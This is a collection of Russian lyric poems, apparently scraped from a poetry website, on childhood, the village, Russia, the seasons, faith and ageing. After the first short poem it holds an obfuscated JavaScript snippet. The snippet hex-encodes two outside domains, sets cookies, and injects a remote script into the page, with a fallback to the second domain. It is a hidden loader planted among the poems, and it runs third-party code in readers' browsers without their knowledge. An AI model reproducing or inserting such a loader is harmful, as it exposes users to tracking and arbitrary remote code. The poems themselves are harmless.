Отчего сегодня в детство

Дул попутный ветерок? -

Замечательно средство -

Лист бумаги и перо!


window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "poezia.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();


Ускользающая мудрость

А мудрость
не всегда идёт за старостью,

и не дано оспорить этот факт -
и вот я бьюсь 

с природною отсталостью,
чтоб не услышать:
старый, мол, дурак,
куда ты лезешь
с утлыми стишатами
на сцену,
и бубнишь,
бубнишь,
бубнишь...
Не лучше ли
сидеть тебе с внучатами,
быть может, хоть свисток
им смастеришь?

Сиди и наговаривай
им сказочки... -
вот, дескать,
вся романтика твоя, -
мне это надоело
до завязочки,
и вот сегодня
перед вами я
стою опять
с толстенною тетрадкою
на сцене
и бубню,

бубню,

бубню... 
А мудрость
усмехается украдкою,
и я её никак не догоню!  


О любви

А о любви я не пишу стихов:

Вы не найдёте, как бы ни искали
Ни воздыханий, ни любовных слов,
Их нет в душе… Они во мне пропали
И сгинули не весть в каком году,
Наверное тогда, когда по снегу
Бежала бОсая у мира на виду
Не ведая, пристать к какому "брегу"…

Сыночка согревая на груди,
На самом на краю остановилась,
И тьма была, и омут впереди -
Спасла меня лишь Божеская милость
И повела меня... И повела
Казалось бы по замкнутому кругу,
Но пОд ноги дорожкою легла
Одна строка, написанная другу,
За ней другая, новая строка,
Явился смысл, и рифма появилась,
И с той поры ведёт за облака
Людская и Божественная милость.

Мои стихи конечно о любви
К моей Земле и всем явленьям жизни,
Любовь, она всегда в моей крови -
От самого рожденья и до тризны.
Земля жива, пока живёт любовь,
Что из сердец из наших не сокрылась,
Она спасёт, она восстанет вновь -
Людская и Божественная милость!


Вербное воскресенье

Счастье - и в самом деле! -
Враз зацвело - в апреле!

Я же его нагадала –

Вот и оно пришло:
Белым пушистым цветом
Здесь, на краю́шке лета,
Веточкой краснотала
Взяло - и расцвело!

Это же ива! Верба!
И краснотал она же…
Стайка смешных барашек
Веточек тонких вдоль…
Радость и всепрощенье
Светлого воскресенья
С пеньем залётных пташек
Нам подарить изволь,

В день твоего цветенья
Ты отгони сомненья,
Солнечным ярким светом
Полнятся закрома,
И с колокольным звоном,
Низким земным поклоном,
Ласкою и приветом
Пасха войдёт в дома!


Здравствуй, Тимур! Я - Женя!

Здравствуй, Тимур!
Я - Женя!
Да! Из детской поры!
Ой, что сделало время:
Где же твои вихры?

Помнишь ли позывные?
Те, по форме один?
Были тогда молодые...
А это мой взрослый сын.

Как поживаю? Книжки 

И бытовые дела...
Да, я за Квакиным Мишкой
Замужем раньше была...

Как ты живешь?
Ты - лётчик?
Нет... А хотел им стать...
Помню я, ты, между прочим,
Очень хотел летать!

Нет. Я тоже не стала...
Видно, не суждено...
В жизни всего хватало,
Впрочем, теперь всё равно...


Папа? Давно уже нету...

На пенсию вышла сестра...

Я вот читала газету

И разревелась вчера:


Что со страною будет?

Войны, разруха, разор...

Как ещё терпят люди?
Это такой позор...

Ну, до свиданья, Тима!
Жаль, что проходят дни!
А я вот шагала мимо...

Господи, сохрани!


А шагали мы в деревню

Перелески да просёлки,
Да черёмухи кусты,
То берёзоньки, то ёлки,
Деревянные мосты...
То дорогой, то тропинкой
Всё вперёд да всё пешком,
Я иду с сестрой Галинкой,
Опираюсь батожком. 
Наша бабушка наверно
Ждёт-печалится давно -
Мы заехали неверно
В незнакомое село,
А теперь идём обратно
По дорогам, по долам,
Но вдвоём шагать приятно
И совсем не скучно нам:

Мне - шестой, сестре - двенадцать,
Но готовые вполне
И в дороге разобраться,
И во всей большой стране,
Где от края и до края
И лесов полно, и рек, -
Мы другой страны не знаем,
Где так волен человек! -
Голосим с сестрёнкой песни
Из известного кино,
С песней всё же интересней,
Веселее с нею, но
Солнце катится по небу
Как телега за бугор,
Вот съедим кусочек хлеба
И появится задор...

Так шагали и шагали,
И услышали вдали,
Как коровы замычали
Там, где травы-ковыли:
Вот она – деревня наша
Из пятнадцати домов,
Будет стол, и будет каша –
Будет старый дедов кров.

А позднее вспоминали,
Как сумели мы пройти
Из такой дремучей дали
Даже больше двадцати
Километров, в малом детстве,
Но к чему нужны слова,
Коли памятью в наследство
Та зелёная трава
И широкая дорога,
Что уводит в небеса,
Где встречают у порога
Дорогие голоса!


Июньская жара

Уже который день стоит жара,
Июнь, и впереди макушка лета,
И длится день с заката до рассвета -
Купальная и светлая пора.

Уже давненько не было дождя, -
От засухи повыгорали травы, -
И по лицу течет горчей отравы
Соленый пот, в слезу переходя.

Но вскоре улетит стрелою лето,
Глядишь, не будет зноя и жары,
Заполонят жилища и дворы
Холодные закаты и рассветы.

А в темное осеннее безмолвье,
Когда дожди и на душе темно,
Припомнится июньское раздолье,
Тот летний месяц, что прошел давно -

И станет на душе чуть-чуть бодрее,
И лето заволнуется в крови…

Ну, стань хотя бы чуточку мудрее
И в жаркий месяц холод не зови!


Уважаемый друг

Уважаемый друг, эти строки я Вам посвящаю,
Вы прочтёте их верно назавтра в вечерней тиши,
Это будет для Вас словно сладкая булочка к чаю
Или, лучше, лекарство для Вашей болящей Души,

Что похожа на храм. В этом храме полны коридоры
Самых лучших картин, захожу - вот и первая дверь:
Вот романтик Кипренский, вот Рериха дивные горы,
Вот и Карл Брюллов - на стене есть его акварель...

В храме Вашей Души слЫшны мощные звуки органа,
Здесь царит красота, классицизм, девятнадцатый век,
Благородство... Да нет же, я Вам не курю фимиама,
Только всё это так. Вы, похоже, такой человек!

Вы как будто сошли со страницы из чеховской книги...
Да, но только при этом я вот что поведать хочу:
Вам опасны и чужды коварные власти интриги,
Наше трудное время Вам тяжко и не по плечу,

Укрепите себя и поглубже, поглубже дышите, -
Вы ведь в сущности мальчик еще из того далека,-
Не грустите, не хмурьтесь и долго-предолго живите.
Да хранит Вас Господь! Не курите. До встречи. Пока!  
   


Замки на песке

Время, - ах ты, боже мой! -
надоело пошлое! -
я по радуге цветной
укатила в прошлое.
К чёрту бедность-неуют,
войны да лишения -
проживать я буду тут,
здесь моё спасение!

И уже передо мной
близкое далёкое,
детство, дом такой родной,
небушко высокое
и купание в реке, -
брызги изумрудные! -
строим замки на песке,
пусть и годы трудные.

Эти замки навсегда
унесёт течение -
беспокойная вода
будущего времени!


Поэтам, копающим землю в огороде

Три музы, веселясь среди садов,
Не ведая ни скорби, ни трудов,
Над спинами склоненными кружили:
«Ау, поэты, барды! Это вы ли?
Ужели жребий сей и ваш удел таков?
В мозолях руки… И харизмы в пЫли…

К чему же шестикрылый серафим,
Влекомый помыслом высоким и благим,
Вложил вам в белы груди угль зажженный?
А ты, поэт, работой утомленный,
Предавшись цели недостойно приземленной,
Горишь под солнцем, как когда-то Рим?

Пора, друзья… Пора… Пора писать сонеты:
Зачахнут на корню все рифмы и сюжеты
Раз вы повернуты задами к небесам,
К земельной тверди припадая волосам,
Как будто в ней зарыты все монеты,
Неужто ли у вас все песенки пропеты?»  


Ярославна

В речную воду не дано
Войти два раза в том же месте,
Не испытаешь ты, хоть тресни,
То, что потеряно давно.
И не трудись в реке Каяле
Мочить без толку рукава,
То, что когда-то потеряли,
То не помогут ни слова,
Ни плач, ни стоны Ярославны:
Тут хоть на стенку заберись
Путивля. Речки своенравны -
Они текут… Текут всю жизнь:
И ни к чему слова и стрелы
По ветру в прошлое пускать
В чужими ставшие пределы,
Которые не отыскать.
Сойди со стенки, "Ярославна",
Иди на кухню, щи свари,
Когда поешь - всё станет славно,
Потом чего-нибудь соври
В балладах, песнях или в прозе -
И отойдёт твоя печаль.
Не стой, родная, на морозе...
Ну, да накинь хотя бы шаль!


Резиновая калоша

Ну, что сказать? Уже не модны
Калоши. Нынче без калош
Идут по лужам превосходно
И старики, и дети то ж…
А что же делает Калоша:
Теперь ведь, кто ее найдет,
Увидит – стала не пригожа
Ни в дождь, ни в снег, ни в гололёд.

Её судьба сейчас другая -

Лежать все время напролёт
Вблизи тропы, изнемогая,
Мечтая, вдруг да подберёт
Какой-нибудь шальной прохожий,
Да если б нА ногу надел,
Быть может, стала бы похожа
На ту, что раньше приглядел
В большом шикарном магазине
Лежащей рядышком с мячом,
Она, красуясь на витрине,
Сверкала! Были нипочём
Ни слякоть, ни дожди, ни лужи,
А как прекрасен был подбор
Малиновый, что не снаружи –
Внутри Калоши! До сих пор
Он выглядит весьма пикантно…
Да что там долго говорить:
Она полна больших талантов!
Она еще покажет прыть!..

И появился тот прохожий,
Голубоглаз, широкоскул,
Ботинком из телячьей кожи
С пути Калошу пинанул!


О, эти привилегии царей

О, эти "привилегии царей":
Корона, власть, предательство и плаха,
Алеет кровью царская рубаха,
А уж другой властитель у дверей.

А как стремился он туда попасть:
Вперёд, наверх к блистательному трону, 
Надвинув вожделенную корону,
Познать неограниченную власть!

И снова повторится этот круг:
Корона, власть, предательство и плаха,
И кровью напоённая рубаха,
И на груди скрещенье мёртвых рук.

А времена торопятся в века,
Сминая человеческие судьбы,
Народной кровью полнится река,
Где тонут и правители, и судьи,

И бесконечна эта круговерть
Войны безумной - топора и плахи.
Из каждого прицела смотрит смерть
На белые крахмальные рубахи.


Ау, неведомые страны!

Ау, неведомые страны,
Невиданные города,
Дворцы, дороги-автобаны,
Что не увижу никогда,
Живите мирно и достойно
На круглом шарике земном,
А мне своей страны довольно,
В которой мой отцовский дом.

В том доме светится окошко
И обстановка без затей,
Мурлыча, ласковая кошка
Мне намывает в дом гостей,
Слегка потрескивает печка,
И варятся с капустой щи...
А за окошком вьётся речка -
Ещё такую поищи!

А дальше лес, бугры и горы,
И острова среди морей,
И заграничные просторы,
Где, может, краше и мудрей,
Но Русь мою, её погосты,
В краях заморских не найти,
В ней мой очаг и перекрёсток,
Начало и конец пути…

И пусть огнём сигналит свечка,                    
И воском катятся года,
Пока пылает в доме печка,
Я из России – никуда!


Птицы

Да никому мы не нужны:
Ни Родине, ни загранице,
Но всё ж летят на север птицы
Из чужедальней стороны.

Им сверху с птичьего полёта
Из неоглядной вышины
Быть может и не так страшны
Патроны, выстрелы, охота...

Великолепны небеса,
Когда домой из-за границы
Летят, летят по небу птицы...
И даже слёзы сквозь ресницы,
И твёрдо веришь в чудеса!


Начало вечности

Тогда со всех веков, со всех сторон
Катилось в горку молодое лето,
И это было! Это было где-то,
Где молодость, похожая на сон,
Всем певчим птицам вторя в унисон,
Бродила без раздумий и сомнений
Здесь, на земле, среди кустов сирени,
Где всё дышало, подпевая ей,
Порхало, трепетало и жужжало,
И в вечность исчезало, как начало
Конца таких коротких юных дней,
И не было прекрасней и важней
Того, что, расцветая, обещало…

И музыка, кружившая в саду,
Играла в золотых лучах заката,
И всё творилось, зрело всё когда-то,
В каком-то веке, в молодом году,
Звенело всё, и жили все в ладу, 
И счастье! Счастье пО небу летало:
Катилось в горку, скатывалось вниз…
И так ли было? Или не бывало?
Господня воля или мой каприз?
И как опишешь вечности начало?

А у начала есть всегда конец,
Когда слетают лепестки сирени,
Когда сникают листики растений
И получают царственный венец 

Из белого и жертвенного снега

Для долгого холодного ночлега, 

И перед гордой поступью зимы, 

Заснут, беспечны и обнажены,
В предчувствии весеннего побега,
Когда со всех веков, со всех сторон 

Придёт тепло, отдав земной поклон,
На поле созревающего хлеба!


Какая нынче чахлая весна

Какая нынче чахлая весна:
То дождь, то снег, то с ног сбивает ветер,
Нет даже и малюсеньких приметин
Что Русь моя восстанет ото сна.

Озябшая, закованная льдами,
Под сводами небес из хрусталя,
Забытая мирами и богами
От всех окраин и до стен Кремля,
Чего ты ждешь внутри своей дремоты?
Явления посланца иль чудес?
Мне б только знать, моя Россия, кто ты?
За что дарован каторжный венец?

Под саваном из мартовского снега
В тоске застыли жалкие дома.
Ни ручейка, ни хрупкого побега,
Лишь ветер да позёмкою зима.
Проклюнется ли маленький подснежник
Сквозь белый саван зябнущих снегов?..

А всё ж люблю… Люблю Россию нежно,
Как нам завещано любить своих врагов.


Дай, Боже, всё перетерпеть (молитва)

Дай, Боже, всё перетерпеть,
Всё пережить-перелопатить,
Не осудить, не оскудеть
И в сердце веру не утратить.

Дай время, чтобы всё понять,
Простить душой и примириться,
И чтоб на сердце благодать
Строкой струилась со страницы.

Дай, Боже, радость и покой
Стране моей многострадальной -
Накрой её своей рукой,
Своей Божественною тайной.

Храни, Господь, своих детей,
Не обрекай их на скитанья,
Уберегая от плетей
И от войны, и от закланья.

Дай, Боже, всё перетерпеть...



Я сюда никогда не вернусь


Я сюда никогда не вернусь,
Я уеду, уеду, уеду…
Укачу я, наверное, в среду,
А дожди продолжаются пусть.

Я сюда никогда не вернусь,
Вдалеке я достигну успеха,
От себя я сумею уехать:
В этом городе серая грусть.

Я сюда никогда не вернусь:
Здесь житейские все мои беды
Надо мной одержали победы…
Уезжаю! Я их не боюсь.

Я уеду от них в никуда,
Собираю свои чемоданы.
Навсегда укачу. Постоянно
Здесь дожди и всегда холода.

Я в вагонное гляну окно
На друзей, что стоят на перроне,
И о них затоскую в вагоне.
Я уеду, конечно же, но

В город этот еще возвращусь
Только солнышко землю прогреет
И дыханием вешним повеет,
И когда улетучится грусть…

Я конечно обратно вернусь!


Ты, судьба моя шальная

Ты, судьба моя шальная,
Озорна и бестолкова,
Будто лошадь ездовая
От Ирбита и до Пскова.

Отвечай, куда несёшься
В вихре общего потока?
Не спеши, а то сорвёшься
До положенного срока.

Без рожденья смерти нету,
Старость с детством бродят рядом,
И зима подобна лету,
Коль её принять как надо.

Что вы там ни говорите -
Нету радости без грусти...
Коль умру, меня найдите
Карапузиком в капусте!


Еще не кончается жизнь

Ещё не кончается жизнь, только лето
Ушло в никуда, впереди - холода.
Я снова на поезд возьму на вокзале билеты
И где-то в тумане растают былые года.  

Еще не кончается жизнь, только осень
На плечи накинула яркий пунцовый платок,
И дело не в том, что кончается осень, но проседь
Сегодня легла у окрестных дорог.

Ещё не кончается жизнь, только лето
Умчалось куда-то в иные миры и года,
Сгорело, истлело, искурено как сигарета,
И это совсем небольшая беда.


Рождение весны

Земля гудит от напряженья:
Как и положено в свой срок
Бурлит серебряный поток,
Весны приветствуя явленье,

Лёд тронулся! Вода сильна!
Сметая зимнее величье
И торжество предвидя птичье,
Приходит юная ВЕСНА.

Её благие проявленья
В бутонах, листьях и траве,
Глубокой неба синеве
И в бесконечном продолженьи.

Среди людей, среди планет -
Во всём таится обновленье,
И никакого нет сомненья,
Что нет конца. И смерти нет.


Пьяная деревня

Волюшка ты воля, пыльная дорога,
Травяное поле прямо от порога.

Той красою древней я навеки ранен,
Русскою деревней словно одурманен.

Всё её ревную, не найду покою,
Русь любить хмельную - дело непростое:

Бедная, больная... Пьяною зовёшься.
Или ты, шальная, надо мной смеёшься?

Ишь, как ветром свищешь. Ну, а я тоскую -
Может в водке ищешь истину какую?

Говори, не мучай! А в ответ - ни звука...
Или, тяжкий случай, виновата скука?..

Бабы с кузовами топают далече,
Знать-то за грибами собрались под вечер.

В поднебесьях синих благодать такая!..
Русь моя, Россия без конца без края.


Распластан и разверзнут как на плахе

Распластан
и разверзнут 
как на плахе,
и жизни
подведя своей итог,
в больничной
проштампованной
рубахе,
я так мучительно
сегодня одинок.

Марионеткой
стянутой шнурами,
не чувствую
ни рук своих
ни ног,
о, как же я,
не выразить словами,
отчаянно
сегодня одинок.

Пускай разбит,  
распят и колесован,
но не готовьте,
ангелы, венок -
я с жизнью этой
накрепко спрессован,
я не хочу,
и мне еще не срок
туда, во тьму,
где торжество распада,
где видится схождение
всех дорог,

а лист кружится
в пору листопада
и холода восходят
на порог.


Когда мы устремляемся в закат

Когда мы устремляемся в закат,
Туда, где небо сходится с землёю,
То ничего не надо брать с собою:
Всё будет ни к чему и невпопад,
Ведь смена поколений на земле
Естественна, как смена дня и ночи,
Вот только жаль, средь прочих многоточий
Багряный парус скрывшийся в волне,
Но верится, плохого не случится
 В пределах всех событий и судеб,
Пока над миром Божия десница
Благословляет и людей, и хлеб!


Терпи

А ты терпи и жди: вот-вот придет
Пора, когда все заживут красиво.
Надейся, будь мудра и молчалива,
И верь, что все само произойдет.

Ты только подожди еще чуть-чуть:
Гляди, и попадешь в страну счастливых,
Туда, где нет ни глупых, ни спесивых.
А ты иди, прокладывай свой путь.

Но только свою ношу не сними,
Тащи её и под гору, и в гору,
И не ропщи, что ноша та не в пору
Тебе одной… Смотри не урони…

Вот наконец-то все же добрели
До этого счастливого момента:

Ах, музыка… И траурная лента
И маленькая горсточка земли…


Вновь зима

Вновь зима.
Неужели весна не вернется
ни в дома, ни в сердца? - 
Оттого и печаль…
В ожидании
сердце отчаянно рвется
и несется туда,
где туманная даль
прикорнула у ног
старины Сакре-Кёра,
где поет под шарманку
нарядный француз,
лишь скользит в витражах,
как в морозных узорах,
никому непонятная
сирая Русь.
И, как будто в мозаике
мелких осколков,  
вдруг почудится снег
да коварная тьма,
да безмолвие наших
убогих проселков,
да еще бесконечная
эта зима.


Эмигранту

Как живётся Вам, Ваше Высочество,
Ваше Скорбное Одиночество
в Вашем "пряничном домике грёз"?

неужели совсем не хочется,
вспомнив годы свои отрочества,
воротиться в страну берёз,

где снегами укрыто дОчиста
деревянное наше зодчество
да заброшенный русский погост?

то, что Вами теперь утрачено
болью Вашего сердца оплачено
и не Вам теперь предназначено,
чтоб щеку целовал мороз.


Не грусти

А листья уж осыпались дождем,
И в прошлое умчалось бабье лето,
Ты не грусти: немного подождем
И холода с тобой переживем,
Чтоб вновь войти в весенние рассветы.

И солнцем воссияют небеса
Под барабанный перестук капели…
Все прелести весны и чудеса,
И запахи, и птичьи голоса
Вернутся - ведь мы этого хотели

И ждали в ритме комнатных оков,  
Томясь от неуютного пространства,
Мы создавали в этом мире снов,
В фантазиях, сбежавших от долгов,
Весеннее свое непостоянство.

Ты подожди, вот-вот она придет –
Весна-красна с бурливыми ручьями,
И навсегда из нашей жизни лед
Сойдет. Нас встретит у ворот
Она - любовь с весенними глазами.


Поезд-жизнь

Мелькают версты да стучат колеса.
Вперед! Вперед! А ну, поберегись!
Вот-вот сейчас у этого откоса
Я соскочу… Состав остановись!
И по траве высокой и росистой,
Я пошагаю… Нет, я побегу
Туда, где в мае зеленеют листья,
Цветут сирени в городском саду:
Там жизнь идет веселая, другая!
Там щеки, словно яблоки горят!
Там мама несказанно молодая
Мне подарила к празднику наряд –
Мне, девочке, мальчишечью матроску…
Как здорово! Ну, прямо в самый раз.
С карманчиком! С воротником в полоску!
Пошитая, как будто на заказ.

Колышутся от ветра занавески,
В огромный мир распахнуто окно,
Цвета и запахи необычайно резки,
И солнца светом всё озарено.
Но памяти сиреневые тени
Туманной дымкой скрыли городок,
По расписанью в грустном направлении
Уходит поезд. Жаль - не на восток…

Стучит судьба колёсами на стыках,
Уносит дым клочками в небеса.
Не докричишься… Рот свело от крика…
И отчего-то катится слеза.


Лунные пятна

В предчувствии тишины, -
Ах, что-то ушло безвозвратно, -
На тающем лике луны
Едва различимые пятна.


Трепещет костёр на ветру, -
Да полно! Скажи-ка на милость,
Ну, хочешь слезинку сотру:
Она по щеке прокатилась?


Как в юности души полны,
А жизнь так легка и понятна...

На тающем лике луны
Едва различимые пятна.



Подождём до весны

Ты подожди: весна придет,
По быстрым ручейкам примчится,
И загалдят над крышей птицы
Так звонко, что душа замрет,
И серебристая капель
Рассыплется хрустальным звоном,
Как будто ангелов свирель
Послышится над нашим домом!

Восславим птичий перелёт
С чужих краёв в страну Россию!

Ты посмотри, как небо сине!
Ах, всё равно растает лёд!


Лошадка

Ну, вот и всё. И разомкнулся круг,
Остались позади с кнутами люди.
И нет на мне теперь ни шор, ни пут -
Я спасена, и люди мне не судьи
И не хозяева! Игрива как волна!
Я на ветру машу, как флагом, гривой…
Скачу по лугу! Я - вольна! Вольна
Бежать, лететь иль быть неторопливой,
Средь сочных трав остановившись вдруг,
Взлететь над радуги прекрасными вратами…
Благословен пусть будет этот луг,
С цветущими как лютики мечтами.


Да будет солнце плыть над головой,
Да будет вечным голубое небо 
И дождь, пропахший мокрою травой,
Свобода и ржаной кусочек хлеба! 


А не поехать ли в деревню?

А не поехать ли в деревню,
В Калиновку, до сей поры
Нас дожидаются наверно
Леса, грибы и комары

И та кудрявая береза,
Что пригорюнилась в тоске,
И по весне вода как слезы
Струится по Сайгун-реке.

И там, в воспоминаниях детства,
Уж расцветает под окном
Черемуха… Хочу вглядеться,
Взглянуть хотя б на старый дом…

Но нет уже той деревушки,
И жителей тех нет давно,
Лишь комары на их пирушке  
Пищат, да им-то все равно
Стоит деревня или нету,
Живут там люди иль мертвы…

И есть вопрос, но где ответы…
Никак нейдет из головы.


Ваше общество, мой друг

Ваше общество, мой друг,
Так изысканно приятно,
Словно солнечные пятна
Рассыпаются вокруг.

Брызжут в ласковых глазах
Откровенные смешинки,
Седина как паутинки
В тёмно-русых волосах.

Ваше общество, мой свет,
Неоправданно счастливо,
Разговоры торопливо
Мчат за дымом сигарет.

И спешат за ним вослед
Этот день и эта встреча,
Миг, что радостью отмечен, -
Глянь, - уже в стихах воспет,

И оно уже в руках –
Моё маленькое счастье,
И никто над ним не властен,
Как над солнцем в облаках!


Учусь быть счастливой

Отгорело закатами лето
И зима набирает разбег.
Над землею в лучах фиолета
Заискрился серебряный снег,
Я сегодня учусь быть счастливой,
Ощущая душевный порыв,
Я шагаю почти горделиво
И вдыхаю в себя позитив.

Я сегодня отчетливо верю
В тот звенящий гитарный аккорд,
Что струится за замкнутой дверью,
И в чудесных снежинок эскорт,
В Новый год, тот что в двери стучится,
И в сверкающий мир мишуры,
В то, что счастье конечно случится
В сферах жизненной нашей игры.

Я сегодня учусь быть счастливой,
И со всеми себя примирив,
Я походкой иду горделивой
И вдыхаю в себя позитив!


Грибные страсти


- Эй,грибы, скорей спасайтесь:
торопитесь за овраги,
да в пути не запинайтесь,
прячьтесь, прячьтесь под коряги
от ужасного громилы,
что с ножом к нам, а не с миром,
от его большой корзины -
горе встретиться с вампиром,

с тем, кто режет наши тельца,
а потом бросает в масло,
чтоб мученьем наглядеться
самых лучших наших павших,
в коих нет ничьих личинок,
нет червей, и нет изьяна -
выходить на поединок,
нам сегодня слишком рано.

Мы грибы, а не вояки,
не полиция-охрана,
мы не созданы для драки,
но в соседстве со сметаной,
говорят, мы - объедение:
в этом сила есть и гордость,
и без всякого сомненья
мы и честь грибов, и совесть!

Убегая, поднимаем,
боевые наши флаги,
что от края и до края
все из беленькой бумаги:
мы их сами сотворили,
вечерком под пенье гимнов…

Нас уже давно сварили -

Это так нелегитимно…



Дорожное

А как приятно на твоем плече,
Когда бегут навстречу километры,
Под шелест упоительных речей
Ютиться, защищенною от ветра!

Привидится удобным этот мир,
И радостным, и добрым, и надежным,
И даже счастье, будто бы пломбир,
Возможным. Ну, конечно же, возможным!

Рукою можно твой затронуть лоб
В тревоге нежной: вдруг, температура?!
И даже шарф поправить можно, чтоб
Тебя он уберег, и не продуло.
 
Как здорово, что можно в этот день
Ладонь свою держать в твоей ладони,
Все мысли в это время набекрень,
И о запретном все… О постороннем…

Что все в итоге близится к концу:
И жизнь, и эта зимняя дорога,
Что невозможно даже и Творцу
Попридержать нас вместе у порога,

Ведь так уютно на плече твоем,
Лететь вперед, считая километры,
Где ждал бы нас простой уютный дом –
Жилище, защищенное от ветра!


Рождение стиха

Шагаю по траве,
как по воде
и ощущаю мир
под птичье пенье,
я точно знаю:
никогда нигде
никто
не сотворит
стихотворенье,
что созревает
в тайной глубине -
и вот сейчас,
в сей миг,
родится строчка:
её явленье
движется во мне,
как нарожденье
жданного сыночка.

Шагаю по воде,
как по траве,
под мудрое
дыхание стихии,
поэтом…
новоявленным мессией,
с пожаром
в воспаленной голове,
сплетаю
в нитку прочную
стихи я,
стрелой дрожу
на тонкой тетиве.

И появляется
на свет дитя -
стишок пока нелепый
и кричащий,
внезапно образ свой
приобретя,
мой стих растет,
как самый настоящий
ребёнок...
Вот уже и первый шаг
такой неловкий,
непослушно-шаткий…
Вперед шагай, малыш!
Да будет так.
пусть будет все
у нас с тобой
в порядке.

Шагаю по судьбе,
как по воде…


Лошади

-Эй, зашибут! Поберегись! -
Идет стремительная гонка.
Сердца отcчитывают звонко
Дистанцию длиною в жизнь.
Успеть бы до команды «Стоп!»,
Ведь мы уже почти у цели,
Вот-вот ухватим! Не успели…
Бежим, кто рысью, кто в галоп.

Уж вынесло шальную рать
На ту последнюю прямую…
Ах, не успеть красу земную
Ни рассмотреть, ни распознать!

И уж не конь - простая кляча,
Усталость хлещет по ногам.
Эх, рысаки... Да будет вам!
Ведь жизнь нельзя прожить иначе.

И будет старт! Другой заезд,
Скользя по скошенному лугу,
Помчит по замкнутому кругу,
И только цоканье окрест!

Вперед! Вперед, мои лошадки!
Пусть ветер наполняет грудь!
Пускай вам будет долгим путь,
А это значит, все в порядке!


Художник за окном

Где тот художник за стеной,
Что по старинке
Рисуют на стекле зимой
Свои картинки?
Летящим росчерком пера
Наметил дали,
Каких ни раньше, ни вчера
Вы не видали.
Посеребрённые леса,
Стеною встали,
Но та холодная краса
Мила едва ли…

У трав с морозного стекла
Нет аромата,
Нет в них цветенья и тепла
В лучах заката.
Они растают без следа. -
Художник, где ты? -
Я не узнаю никогда
Твои секреты.


Сиреневое счастье

А было то в начале лета:
Под окнами цвела сирень,
Жужжал пчелиный гудовень,
И майский гул, и птичий звень
Вливались в музыку рассвета.

В сирени зыбких кружевах
Мы счастье вешнее искали.
В него мы верили, мечтали,
Душой витая в облаках.

И на асфальт ложилась тень
Узорной легкой синевою,
Звенела душная кипень,
В тот сказочно счастливый день
Мы были юными с тобою.

Не отыскать его теперь,
Моё сиреневое счастье:
В погожий день ли при ненастье
В те дни давно закрыта дверь.

А где-то там, в начале лета,
Цветы - роскошная сирень
В пять лепестков, и до рассвета
Играет вечная свирель
Весенней музыкой расцвета!


Зима, метель, холодный дом

Зима. Метель. Холодный дом,
И ночь грустна,
Но в сердце, скованное льдом,
Стучит весна.

Сойдет с небес седая хмарь,
Все оживет,
И будто в детстве, будто встарь
Весна придет!

Уж не ступить, кругом вода.
Вошел в азарт,
(Он хулиганом был всегда)
Мальчишка Март.

Поутру выйдешь за порог -
Звенит капель.
Резвится, в волосах венок,
Юнец Апрель.

Громады льдины на реке
Круши, ломай!
Ведь где-то там, невдалеке
Красавец Май.

Когда земля кругом цветет
И жизнь красна,
Ты потерпи. Она придет -
Весна!


Потомки, вспомните меня

Потомки, вспомните меня!
Жила во времена застоя,
Хоть это, может быть, пустое
На фоне завтрашнего дня.

Жила в Высоцкого года
И под созвездием Булата.
И это было все когда-то,
А может, не было тогда
Меня? И я не проживала,
Здесь на Земле я не страдала,
Не родилась, не умирала,
И без надежды не ждала…


Март

Шумом вешним  ворвался с улицы,
Растрепал, как колоду карт,
Дни мои. Невозможно хмуриться

В этот месяц весенний - Март!


И, забыв про года немалые, -
Возраст всё же, ворчи-не ворчи,-
Я скачу через эти талые,
Солнцем созданные ручьи! 


Вижу в лужах, глядящих бездонно,

Отраженье всего бытия:

Впредь решаю определённо -

Принимать всё, как есть - без нытья!


Я вхожу в эту жизнь слепящую,

Воздух! Воздух какой! Хоть пей!
Это всё моё! Настоящее!
Ныне и до последних дней!


Солнцеворот

Вот такие, мой друг, дела!
Вот такие творятся действия:
Синева вокруг! Синева
В день весеннего равноденствия!

Глянь, повсюду борьба идет
Солнца вешнего с зимней тьмою.
Величайший СОЛЦЕВОРОТ
Предназначен был нам с тобою!

Ох, и яростен! Ох, силен
Тот языческий бог Ярило:
Он сквозь храмовый перезвон
Льет лучи небывалой силы!

А навстречу ему - купола,
Бой часов на Невьянской башне,
Словно не было в жизни "вчера",
Словно всё навсегда - в настоящем!

Помолчим. Ни к чему слова,
Коль в природе такие действия...
Синева вокруг! Синева
В день весеннего равноденствия!


Я гуляю по Парижу

Часть 1.
Нет, так в жизни не бывает! -
